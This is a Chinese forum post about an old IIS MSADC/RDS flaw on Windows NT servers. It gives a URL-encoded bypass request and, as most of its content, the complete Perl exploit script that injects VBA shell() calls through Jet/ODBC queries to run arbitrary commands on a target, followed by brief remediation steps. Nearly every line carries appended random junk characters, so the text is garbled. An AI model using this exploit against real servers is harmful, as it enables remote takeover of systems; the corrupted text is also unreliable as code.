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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) tP'v;$)9F  
;*%rFt9FK  
涉及程序: !HTOE@  
Microsoft NT server ?:R]p2ID  
a;o0#I#Si  
描述: J*@pM  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ^t0!Dbx3SE  
196aYLE  
详细: ?P9aXwc  
如果你没有时间读详细内容的话,就删除: jCqz^5=$  
c:\Program Files\Common Files\System\Msadc\msadcs.dll %. 1/ #{  
有关的安全问题就没有了。 BM :x`JY  
yP"2.9\erH  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 'F W?   
1AJ6NBC&c  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 [-(^>Y  
关于利用ODBC远程漏洞的描述,请参看: 6,t6~Uo/  
~WA@YjQ]  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TXImmkC  
OZ`cE5"i  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 +wi=IrRr  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp :zL)O  
3kxo1eb  
这里不再论述。 9p_?t'&>q  
')xOL =w  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: p4T$(]7  
-y.cy'$f  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (T1< (YZ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! tLzLO#/n  
}geb959  
YZ~MByu  
#将下面这段保存为txt文件,然后: "perl -x 文件名" \[9VeqMU  
7}iv+rQ  
#!perl A-Ba%Fv  
# /WQ.,a  
# MSADC/RDS 'usage' (aka exploit) script hQ#e;1uD  
# 3?o4  
# by rain.forest.puppy _=g&^_ #t  
# qO{z{@jo55  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me '/O:@P5qY  
# beta test and find errors! 8maWF.xq  
)n&hO_c/  
use Socket; use Getopt::Std; uw mN !!TS  
getopts("e:vd:h:XR", \%args); ,X!6|l8  
:^7w  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 15ailA&(Qm  
KZKE&bTx  
if (!defined $args{h} && !defined $args{R}) { xmg3,bO  
print qq~ }4 0T'y  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z6I|Y5#H  
-h <host> = host you want to scan (ip or domain) V 20h\(\\  
-d <seconds> = delay between calls, default 1 second s#?ZwD,=  
-X = dump Index Server path table, if available yGR{-YwU!  
-v = verbose &%OY"Y~bI!  
-e = external dictionary file for step 5 .UP h  
r!R-3LO0s  
Or a -R will resume a command session 4aO/^Hl  
J,}h{-Xy`  
~; exit;} 5` ^@k<  
,AnD%#o  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; wI@87&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} P j   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} t/;2rIx>  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); B=0^Rysg  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} |5 V0_79  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } W3le)&  
^ oi']O  
if (!defined $args{R}){ $ret = &has_msadc; >jt2vU@t.  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^_]ZZin  
}$_@yt<{W@  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" %,\JTN|g|A  
. "cmd /c "; o=Vs)8W  
$in=<STDIN>; chomp $in; ABCm2$<  
$command="cmd /c " . $in ; 6?a`'&  
G80N8Lm  
if (defined $args{R}) {&load; exit;} aqON6|6K  
/h>g-zb  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; g~DuK|+  
&try_btcustmr; i.mv`u Dm  
`*s:[k5k  
print "\nStep 2: Trying to make our own DSN..."; 3RaduN]  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; @:>]jp}uq  
JI>Y?1i0O  
print "\nStep 3: Trying known DSNs..."; SA TX_  
&known_dsn; R1zt6oY  
#*g=F4>t  
print "\nStep 4: Trying known .mdbs..."; T]tP!a;K  
&known_mdb; 3-/|G-4k7  
b6-N2F1Fs  
if (defined $args{e}){ 6q^$}eOt  
print "\nStep 5: Trying dictionary of DSN names..."; 6ld4'oM  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ` @QZK0Ox  
O=jLZ2os  
print "Sorry Charley...maybe next time?\n"; 9tHK_),9  
exit; e"hfeNphz  
>eTbg"\  
############################################################################## 8 W  
t 'eaR-  
sub sendraw { # ripped and modded from whisker :-RB< Lj  
sleep($delay); # it's a DoS on the server! At least on mine... Wj.t4XG!  
my ($pstr)=@_; owIpn=8|Q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M/ 64`lcb  
die("Socket problems\n"); {T8;-H0H  
if(connect(S,pack "SnA4x8",2,80,$target)){ JVoC2Z<  
select(S); $|=1; YdhV a!Y  
print $pstr; my @in=<S>; s[8. l35|  
select(STDOUT); close(S); w;,34qbf  
return @in; :SaZhY  
} else { die("Can't connect...\n"); }} V#Wy` ce  
72;'8  
############################################################################## }2]|*?1,  
|.@!CqJ  
sub make_header { # make the HTTP request X7$]qE K  
my $msadc=<<EOT <1*kXTN(  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 p)SW(pS  
User-Agent: ACTIVEDATA :'T+`(  
Host: $ip `Abd=1nH  
Content-Length: $clen =NY;#Jjn  
Connection: Keep-Alive 5len} ){  
#&.Znk:@.f  
ADCClientVersion:01.06 OH/9<T?  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Z=&|__ +d  
'pt(  
--!ADM!ROX!YOUR!WORLD! qxI $F  
Content-Type: application/x-varg `"=Hk@E  
Content-Length: $reqlen X(tx8~z  
0BXr[%{`  
EOT 7L #)yY  
; $msadc=~s/\n/\r\n/g; ! t!4CY  
return $msadc;} i "V.$|,  
8-<F4^i_i  
############################################################################## E+Bc>xl@ m  
J'2 Yrn  
sub make_req { # make the RDS request at?I @By  
my ($switch, $p1, $p2)=@_; Gor 9 &aJ1  
my $req=""; my $t1, $t2, $query, $dsn;  ;Ci:d*  
k' 8q /]  
if ($switch==1){ # this is the btcustmr.mdb query qIJc\,'  
$query="Select * from Customers where City=" . make_shell(); Mst%]@TG  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ku,{NY f^Y  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} I3>8B  
FF#Aq  
elsif ($switch==2){ # this is general make table query 6 ZRc|ZQ  
$query="create table AZZ (B int, C varchar(10))"; LZ)g&A(j?  
$dsn="$p1";} ~ g!!#ad  
n1; a~0P  
elsif ($switch==3){ # this is general exploit table query +Kgl/Wg%  
$query="select * from AZZ where C=" . make_shell(); ,Mw93Kp Va  
$dsn="$p1";} v(;yy{>8"  
C rR/  
elsif ($switch==4){ # attempt to hork file info from index server 6-\Mf:%B  
$query="select path from scope()"; "3VX9{'%@  
$dsn="Provider=MSIDXS;";} ';G/,wB?`  
bqH [-mu6  
elsif ($switch==5){ # bad query ~0,v Q   
$query="select"; HsYzIQLL  
$dsn="$p1";} *m]Y6  
,~cK]!:>s  
$t1= make_unicode($query); g#i~^4-1  
$t2= make_unicode($dsn); sq=EL+=j  
$req = "\x02\x00\x03\x00"; A!GvfmzqIn  
$req.= "\x08\x00" . pack ("S1", length($t1)); ]0'cdC  
$req.= "\x00\x00" . $t1 ; 07SW$INb  
$req.= "\x08\x00" . pack ("S1", length($t2)); D`QMlRzXy  
$req.= "\x00\x00" . $t2 ; /\Nc6Z/ L  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; @Nb/n  
return $req;} zx<t{e7  
KK 7}q<&i  
############################################################################## SOG(&)b  
,JI]Eij^  
sub make_shell { # this makes the shell() statement @"s<0T^H  
return "'|shell(\"$command\")|'";} {3KY:%6qj  
g<;pyvq|:  
##############################################################################  pF6u3]  
]a.e;c-  
sub make_unicode { # quick little function to convert to unicode |?jgjn&RQ  
my ($in)=@_; my $out; k-&<_ghT \  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 9Pg6,[*u  
return $out;} nZ=[6?  
T7i>aM$+  
############################################################################## (@N ILK  
\V'fB5  
sub rdo_success { # checks for RDO return success (this is kludge) j8Mt"B  
my (@in) = @_; my $base=content_start(@in); [BdRx`  
if($in[$base]=~/multipart\/mixed/){ d>#',C#;  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} \roJf&O }  
return 0;} a 7v^o`  
#<Y3*^~5d  
############################################################################## ;^s|n)F#c  
i<m) s$u  
sub make_dsn { # this makes a DSN for us 9Znc|<  
my @drives=("c","d","e","f"); gHh (QRA  
print "\nMaking DSN: "; Zl%)#=kO  
foreach $drive (@drives) { aVHID{Gf Z  
print "$drive: "; 1d!s8um;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . |{|B70v3Co  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" O*+HK1q7  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); `dF~'  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #5y+gdN  
return 0 if $2 eq "404"; # not found/doesn't exist CC@U'9]bH  
if($2 eq "200") { O_s /BoB@  
foreach $line (@results) { kqX %y  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Y\<w|LkD8  
} return 0;} i+QVs_jW  
Uth+4Aq  
############################################################################## Ax|'uvVAPT  
lNc0znY  
sub verify_exists { !m=Js"  
my ($page)=@_; =KO]w9+\  
my @results=sendraw("GET $page HTTP/1.0\n\n"); x_8sV?F  
return $results[0];} P$Y w'3v/  
x| D|d}  
############################################################################## (e_p8[x  
8d1qRCIz  
sub try_btcustmr { 1Cc91  
my @drives=("c","d","e","f"); }'{"P#e8"q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @) MG&X  
j+fF$6po#t  
foreach $dir (@dirs) { [+5g 9tBJ  
print "$dir -> "; # fun status so you can see progress *EO*Gg0d  
foreach $drive (@drives) { kDJqT  
print "$drive: "; # ditto o=7e8l  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; a{^ 2c!  
$reqlenlen=length( "$reqlen" ); qoT&N,/  
$clen= 206 + $reqlenlen + $reqlen; Ymnh%wS  
]n@T5*=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?FS0zc!+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} {{bwmNv"  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} *>2FcoN;  
!:xE X~  
############################################################################## "IpbR  
7r3CO<fb  
sub odbc_error { }/tf^@  
my (@in)=@_; my $base; D@5h$ m5  
my $base = content_start(@in); IEM{?  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this q|klsup  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; npytb*[|c  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'lEIwJV$  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; GM8>u O  
return $in[$base+4].$in[$base+5].$in[$base+6];} %#EzZD  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 5D-as9k*  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . x~m$(LT  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1f"}]MbLR  
3DCR n :  
############################################################################## ; X+.Ag  
<AJRU l  
sub verbose { Bn.R,B0PL  
my ($in)=@_; oFt_ yU-  
return if !$verbose; 0%|)=T3Slu  
print STDOUT "\n$in\n";} B1I{@\z0G  
<%|u1cn~!v  
############################################################################## AU}|o0Ur  
^G5fs'd  
sub save { DqI"B  
my ($p1, $p2, $p3, $p4)=@_; aWvC-vZk  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; [EVyCIcY,h  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; BTO l`U  
close OUT;} ]f`UflMO8  
VgY6M_V  
############################################################################## Mu.oqT  
-J'ked  
sub load { "9~KVILlLu  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; -nD} k  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ZOppec1D  
@p=<IN>; close(IN); 7)>L#(N  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); "WPWMQ+  
$target= inet_aton($ip) || die("inet_aton problems"); 8{%&P%vf  
print "Resuming to $ip ..."; b; vVlIG  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; XCgC^c'  
if($p[1]==1) { y+7+({w<  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; i$:yq.DW  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,Cy&tRjR B  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); kA2)T,s74  
if (rdo_success(@results)){print "Success!\n";} 3+ C;zDKa  
else { print "failed\n"; verbose(odbc_error(@results));}} `USze0"t0:  
elsif ($p[1]==3){ I;<__  
if(run_query("$p[3]")){ gId :IR  
print "Success!\n";} else { print "failed\n"; }} jrm^n_6};  
elsif ($p[1]==4){ ) 5x$J01S  
if(run_query($drvst . "$p[3]")){ %X\Rfn0J"  
print "Success!\n"; } else { print "failed\n"; }} Y{t}sO%A  
exit;} ZXbq5p_  
t`Xx\  
############################################################################## h9nh9a(2  
>Fe=PRs  
sub create_table { e9CvdR  
my ($in)=@_; i!<(R$ Lo  
$reqlen=length( make_req(2,$in,"") ) - 28; ep l1xfr  
$reqlenlen=length( "$reqlen" ); K|;L{[[yH  
$clen= 206 + $reqlenlen + $reqlen; e)L!4Y44K  
my @results=sendraw(make_header() . make_req(2,$in,"")); d%!yFix;<  
return 1 if rdo_success(@results); J3r':I}\  
my $temp= odbc_error(@results); verbose($temp); %yR 80mn8  
return 1 if $temp=~/Table 'AZZ' already exists/; # M Y4Mr  
return 0;} :19s=0  
Z ]OX6G  
############################################################################## )R@Y$*fm  
[eDRghK  
sub known_dsn { sBE@{w%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Xi=4S[.4  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", '?$< k@mJW  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 4LJOT_  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); tK\$LZ  
S! .N3ezn  
foreach $dSn (@dsns) { g(F2IpUm/  
print "."; ,(+ZD@Rg  
next if (!is_access("DSN=$dSn")); D]V&1n  
if(create_table("DSN=$dSn")){ `ih#>i_ &  
print "$dSn successful\n"; RS7J~Q  
if(run_query("DSN=$dSn")){ n8&x=Z}Xs  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { MR* % lZpB  
print "Something's borked. Use verbose next time\n";}}} print "\n";} w#sP5qKv8  
r6+IJxUd  
############################################################################## Ap}`Q(.  
!Ome;g S)  
sub is_access { S.owVMQ  
my ($in)=@_; Lo9 \[4FP  
$reqlen=length( make_req(5,$in,"") ) - 28; t\ 9Y)d  
$reqlenlen=length( "$reqlen" ); 49B6|!&I  
$clen= 206 + $reqlenlen + $reqlen; gf,[GbZ  
my @results=sendraw(make_header() . make_req(5,$in,"")); c+<gc:#jy  
my $temp= odbc_error(@results); 6 c-9[-Px  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); &KeD{M%  
return 0;} D._7)$d  
B=i%Z _r]w  
############################################################################## T%2%*oa  
e" p5hpl  
sub run_query { 2-wgbC5  
my ($in)=@_; \j vS`+  
$reqlen=length( make_req(3,$in,"") ) - 28; p"NuR4   
$reqlenlen=length( "$reqlen" ); [\"<=lb`  
$clen= 206 + $reqlenlen + $reqlen; Olq`mlsK  
my @results=sendraw(make_header() . make_req(3,$in,"")); \Xg`@JrTM  
return 1 if rdo_success(@results); l37l| xp~  
my $temp= odbc_error(@results); verbose($temp); o@|kq1m8  
return 0;} m^a0JR}u9  
)B Xl|V,  
##############################################################################  #U/L8  
dcN4N5r  
sub known_mdb { &. "ltB  
my @drives=("c","d","e","f","g"); %VgK::)r  
my @dirs=("winnt","winnt35","winnt351","win","windows"); R #m1Aa  
my $dir, $drive, $mdb; Hd~fSXFl  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; G#z9=NF~V  
?*U:=|  
# this is sparse, because I don't know of many ;DI"9  
my @sysmdbs=( "\\catroot\\icatalog.mdb", q%Lw#f  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", -"n8Wv  
"\\system32\\certmdb.mdb", Z , 98  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7, :l\t  
xh!aB6m8R  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Z4PAdT  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ._}Dqg$  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", O:[@?l  
"\\cfusion\\cfapps\\security\\realm_.mdb", #4?:4Im#  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m\J" P'=  
"\\cfusion\\database\\cfexamples.mdb", @-}!o&G0  
"\\cfusion\\database\\cfsnippets.mdb", LwEc*79  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", _1HEGX\  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", z_9q T"vF  
"\\cfusion\\brighttiger\\database\\cleam.mdb", O9MBQNwjA  
"\\cfusion\\database\\smpolicy.mdb", aW$))J)0  
"\\cfusion\\database\cypress.mdb",  B*Q  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 6T A2  
"\\website\\cgi-win\\dbsample.mdb", I6F $@  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", \W})Z72  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Y t0s  
); #these are just SrSm%Dv  
foreach $drive (@drives) { L~L]MC&  
foreach $dir (@dirs){ fuA 8jx  
foreach $mdb (@sysmdbs) { F5f1j]c  
print "."; T ^z M m  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ #Xd#Nc j  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 8]0?mV8iOE  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ pB0Do6+{  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 38(|a5  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1"HSM =p  
. aqP=  
foreach $drive (@drives) { ),+u>Os&  
foreach $mdb (@mdbs) { Jl^THoEL  
print "."; m3iB`  
if(create_table($drv . $drive . $dir . $mdb)){ >{kPa|  
print "\n" . $drive . $dir . $mdb . " successful\n"; W/I D8+:i  
if(run_query($drv . $drive . $dir . $mdb)){ _<G%  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; g4>1> .s  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8\ WOss)al  
} 'QEQyJ0EB  
<\S j5  
############################################################################## 9]TvL h3  
wKs-<b%;  
sub hork_idx { J*CfG;Y:  
print "\nAttempting to dump Index Server tables...\n"; <S%kwS  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #o-CG PE  
$reqlen=length( make_req(4,"","") ) - 28; SB`"%6  
$reqlenlen=length( "$reqlen" ); ;Cqjg.wkB  
$clen= 206 + $reqlenlen + $reqlen; lEv<n6:_  
my @results=sendraw2(make_header() . make_req(4,"","")); eFeWjB'<7  
if (rdo_success(@results)){ Lg4I6 G  
my $max=@results; my $c; my %d; Eq?d+s>  
for($c=19; $c<$max; $c++){ `m Tc  
$results[$c]=~s/\x00//g; 4$!iw3N(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; (KxL*gB  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; PNMf5'@m  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; y:+s*x6Vg  
$d{"$1$2"}="";} ,0Y5O?pu\  
foreach $c (keys %d){ print "$c\n"; } qP0_#l&  
} else {print "Index server doesn't seem to be installed.\n"; }} )\TI^%s  
\3@AC7  
############################################################################## \aO.LwYm;:  
nu#_,x<LS  
sub dsn_dict { 2 <@27 C5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); R'q:Fc  
while(<IN>){ B:\TvWbu  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; z3[0BWXs  
next if (!is_access("DSN=$dSn")); Uwqm?]  
if(create_table("DSN=$dSn")){ 8HLcDS#  
print "$dSn successful\n"; wB;'+d&  
if(run_query("DSN=$dSn")){ S qQqG3F  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o[!g,Gmoh  
print "Something's borked. Use verbose next time\n";}}} JDzk v%E^  
print "\n"; close(IN);} Y Hv85y  
~=,|dGAa$  
############################################################################## cKX6pG  
L_rKVoKjt  
sub sendraw2 { # ripped and modded from whisker jbqhNsTNK  
sleep($delay); # it's a DoS on the server! At least on mine... ,SAS\!hsE  
my ($pstr)=@_; +0O{"XM  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || tU%-tlU9?  
die("Socket problems\n"); o?J>mpC  
if(connect(S,pack "SnA4x8",2,80,$target)){ fodr1M4J  
print "Connected. Getting data"; Ir*,fyl  
open(OUT,">raw.out"); my @in; #mX=Y>l  
select(S); $|=1; print $pstr; snBC +`-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} |j i}LWcD  
close(OUT); select(STDOUT); close(S); return @in; d*lnXzQor  
} else { die("Can't connect...\n"); }} GGs3r;(t  
WQ]~TGW  
############################################################################## wo[W1?|s  
eb)S<%R/  
sub content_start { # this will take in the server headers 1!/ U#d"  
my (@in)=@_; my $c; VB 8t"5  
for ($c=1;$c<500;$c++) { qb ^4G  
if($in[$c] =~/^\x0d\x0a/){ qx"?')+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } $2^V#GWo  
else { return $c+1; }}} ~}mX#,  
return -1;} # it should never get here actually y= I LA  
u+zq:2)H6  
############################################################################## IrXC/?^h  
,7pO-:*g  
sub funky { }tU<RvT  
my (@in)=@_; my $error=odbc_error(@in); t9PS5O ;  
if($error=~/ADO could not find the specified provider/){ d `Q$URn|  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; S&V5zB""n  
exit;} CD^_>sya  
if($error=~/A Handler is required/){ ]P ->xJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; =? xA*_^  
exit;} T.HI $(d  
if($error=~/specified Handler has denied Access/){ HqU"i Y>b  
print "\nServer has custom handler filters (they most likely are patched)\n"; Vd|5JA}<"  
exit;}} oa`,|dA"  
D|Z,eench  
############################################################################## a7q-*%+d5  
v^[Ny0cM  
sub has_msadc { B\}E v&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ~?6V-m{>#  
my $base=content_start(@results); 0pu])[P]_[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); i<1w*yu  
return 0;} tGd9Cs9D<  
c?eV8h1G  
######################## G_[|N>  
"^<:7_Y  
'oEFNC9V  
解决方案: (1(3:)@S6  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Tc\^=e^N?  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Ua V9T:)x  
nf /iZ &  
拿出来充数 哈哈
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